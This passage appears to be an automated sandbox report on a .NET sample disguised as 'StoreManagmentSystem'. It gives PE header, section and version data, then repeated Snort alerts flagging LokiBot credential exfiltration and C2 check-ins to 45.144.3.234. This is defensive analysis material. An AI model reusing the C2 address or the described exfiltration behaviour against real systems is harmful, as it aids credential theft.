Time Stamp:	0xC1FEB99E [Sun Feb 19 02:19:10 2073 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa4420	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa6000	0x5c4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa4404	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa2478	0xa2600	False	0.891697038587	data	7.85676588796	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xa6000	0x5c4	0x600	False	0.425130208333	data	4.11727870929	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa8000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0xa6090	0x334	data
RT_MANIFEST	0xa63d4	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2020
Assembly Version	1.0.0.0
InternalName	d.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	StoreManagmentSystem
ProductVersion	1.0.0.0
FileDescription	StoreManagmentSystem
OriginalFilename	d.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/02/20-11:52:41.429220	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49712	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.429220	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49712	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.429220	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.429220	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49712	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.861237	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49713	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.861237	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49713	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.861237	TCP	2025381	ET TROJAN LokiBot Checkin	49713	80	192.168.2.6	45.144.3.234
12/02/20-11:52:41.861237	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49713	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.190739	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49714	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.190739	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.190739	TCP	2025381	ET TROJAN LokiBot Checkin	49714	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.190739	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49714	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.317408	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49714	45.144.3.234	192.168.2.6
12/02/20-11:52:42.691672	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49715	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.691672	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.691672	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.691672	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49715	80	192.168.2.6	45.144.3.234
12/02/20-11:52:42.818739	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49715	45.144.3.234	192.168.2.6
12/02/20-11:52:43.223645	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49716	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.223645	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49716	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.223645	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.223645	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49716	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.354863	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49716	45.144.3.234	192.168.2.6
12/02/20-11:52:43.786463	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.786463	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49717	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.786463	TCP	2025381	ET TROJAN LokiBot Checkin	49717	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.786463	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.6	45.144.3.234
12/02/20-11:52:43.916834	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49717	45.144.3.234	192.168.2.6
12/02/20-11:52:44.367508	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.367508	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.367508	TCP	2025381	ET TROJAN LokiBot Checkin	49718	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.367508	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.495389	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49718	45.144.3.234	192.168.2.6
12/02/20-11:52:44.817786	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49720	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.817786	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49720	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.817786	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.817786	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49720	80	192.168.2.6	45.144.3.234
12/02/20-11:52:44.947918	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49720	45.144.3.234	192.168.2.6
12/02/20-11:52:45.670062	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.6	45.144.3.234
12/02/20-11:52:45.670062	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.6	45.144.3.234
12/02/20-11:52:45.670062	TCP	2025381	ET TROJAN LokiBot Checkin	49721	80	192.168.2.6	45.144.3.234
12/02/20-11:52:45.670062	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.6	45.144.3.234
12/02/20-11:52:45.795234	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49721	45.144.3.234	192.168.2.6
12/02/20-11:52:46.501885	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49722	80	192.168.2.6	45.144.3.234
12/02/20-11:52:46.501885	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49722	80	192.168.2.6	45.144.3.234
12/02/20-11:52:46.501885	TCP	2025381	ET TROJAN LokiBot Checkin	49722	80	192.168.2.6	45.144.3.234
12/02/20-11:52:46.501885	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49722	80	192.168.2.6	45.144.3.234
12/02/20-11:52:46.626796	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49722	45.144.3.234	192.168.2.6
12/02/20-11:52:47.200282	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49723	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.200282	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49723	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.200282	TCP	2025381	ET TROJAN LokiBot Checkin	49723	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.200282	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49723	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.331655	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49723	45.144.3.234	192.168.2.6
12/02/20-11:52:47.619407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.619407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49724	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.619407	TCP	2025381	ET TROJAN LokiBot Checkin	49724	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.619407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.6	45.144.3.234
12/02/20-11:52:47.748180	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49724	45.144.3.234	192.168.2.6
12/02/20-11:52:48.049426	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49725	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.049426	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49725	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.049426	TCP	2025381	ET TROJAN LokiBot Checkin	49725	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.049426	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49725	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.184302	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49725	45.144.3.234	192.168.2.6
12/02/20-11:52:48.489829	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.489829	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49726	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.489829	TCP	2025381	ET TROJAN LokiBot Checkin	49726	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.489829	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.616771	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49726	45.144.3.234	192.168.2.6
12/02/20-11:52:48.881874	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.881874	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49727	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.881874	TCP	2025381	ET TROJAN LokiBot Checkin	49727	80	192.168.2.6	45.144.3.234
12/02/20-11:52:48.881874	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49727	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.007215	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49727	45.144.3.234	192.168.2.6
12/02/20-11:52:49.288846	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49728	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.288846	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49728	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.288846	TCP	2025381	ET TROJAN LokiBot Checkin	49728	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.288846	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49728	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.418237	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49728	45.144.3.234	192.168.2.6
12/02/20-11:52:49.753380	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49729	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.753380	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49729	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.753380	TCP	2025381	ET TROJAN LokiBot Checkin	49729	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.753380	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49729	80	192.168.2.6	45.144.3.234
12/02/20-11:52:49.881766	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49729	45.144.3.234	192.168.2.6
12/02/20-11:52:50.187410	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.187410	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.187410	TCP	2025381	ET TROJAN LokiBot Checkin	49730	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.187410	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.313590	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49730	45.144.3.234	192.168.2.6
12/02/20-11:52:50.629810	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49731	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.629810	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49731	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.629810	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.629810	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49731	80	192.168.2.6	45.144.3.234
12/02/20-11:52:50.756249	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49731	45.144.3.234	192.168.2.6
12/02/20-11:52:51.071179	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.071179	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49732	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.071179	TCP	2025381	ET TROJAN LokiBot Checkin	49732	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.071179	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49732	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.201095	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49732	45.144.3.234	192.168.2.6
12/02/20-11:52:51.489197	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.489197	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49733	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.489197	TCP	2025381	ET TROJAN LokiBot Checkin	49733	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.489197	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49733	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.665470	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49733	45.144.3.234	192.168.2.6
12/02/20-11:52:51.988951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49734	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.988951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.988951	TCP	2025381	ET TROJAN LokiBot Checkin	49734	80	192.168.2.6	45.144.3.234
12/02/20-11:52:51.988951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49734	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.132110	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49734	45.144.3.234	192.168.2.6
12/02/20-11:52:52.491063	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49735	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.491063	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49735	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.491063	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.491063	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49735	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.618567	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49735	45.144.3.234	192.168.2.6
12/02/20-11:52:52.880420	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.880420	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49737	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.880420	TCP	2025381	ET TROJAN LokiBot Checkin	49737	80	192.168.2.6	45.144.3.234
12/02/20-11:52:52.880420	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49737	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.017894	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49737	45.144.3.234	192.168.2.6
12/02/20-11:52:53.327474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.327474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49740	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.327474	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.327474	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.459325	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49740	45.144.3.234	192.168.2.6
12/02/20-11:52:53.777770	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.777770	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49741	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.777770	TCP	2025381	ET TROJAN LokiBot Checkin	49741	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.777770	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.6	45.144.3.234
12/02/20-11:52:53.903447	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49741	45.144.3.234	192.168.2.6
12/02/20-11:52:54.204573	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49742	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.204573	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49742	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.204573	TCP	2025381	ET TROJAN LokiBot Checkin	49742	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.204573	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49742	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.341795	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49742	45.144.3.234	192.168.2.6
12/02/20-11:52:54.660318	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49743	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.660318	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.660318	TCP	2025381	ET TROJAN LokiBot Checkin	49743	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.660318	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49743	80	192.168.2.6	45.144.3.234
12/02/20-11:52:54.786220	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49743	45.144.3.234	192.168.2.6
12/02/20-11:52:55.114402	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49744	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.114402	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49744	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.114402	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.114402	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49744	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.244731	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49744	45.144.3.234	192.168.2.6
12/02/20-11:52:55.544487	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49745	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.544487	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49745	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.544487	TCP	2025381	ET TROJAN LokiBot Checkin	49745	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.544487	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49745	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.674253	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49745	45.144.3.234	192.168.2.6
12/02/20-11:52:55.981452	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49746	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.981452	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.981452	TCP	2025381	ET TROJAN LokiBot Checkin	49746	80	192.168.2.6	45.144.3.234
12/02/20-11:52:55.981452	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49746	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.194096	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49746	45.144.3.234	192.168.2.6
12/02/20-11:52:56.489115	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.489115	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.489115	TCP	2025381	ET TROJAN LokiBot Checkin	49747	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.489115	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49747	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.615647	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49747	45.144.3.234	192.168.2.6
12/02/20-11:52:56.856210	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49748	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.856210	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49748	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.856210	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.856210	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49748	80	192.168.2.6	45.144.3.234
12/02/20-11:52:56.986978	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49748	45.144.3.234	192.168.2.6
12/02/20-11:52:57.268927	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.268927	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49749	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.268927	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.268927	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.405086	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49749	45.144.3.234	192.168.2.6
12/02/20-11:52:57.744999	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.744999	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.744999	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.744999	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.6	45.144.3.234
12/02/20-11:52:57.883454	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49750	45.144.3.234	192.168.2.6
12/02/20-11:52:58.120466	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49751	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.120466	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49751	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.120466	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.120466	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49751	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.247213	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49751	45.144.3.234	192.168.2.6
12/02/20-11:52:58.573099	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.6	45.144.3.234
12/02/20-11:52:58.573099	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49752	80	192.168.2.6	45.144.3.234
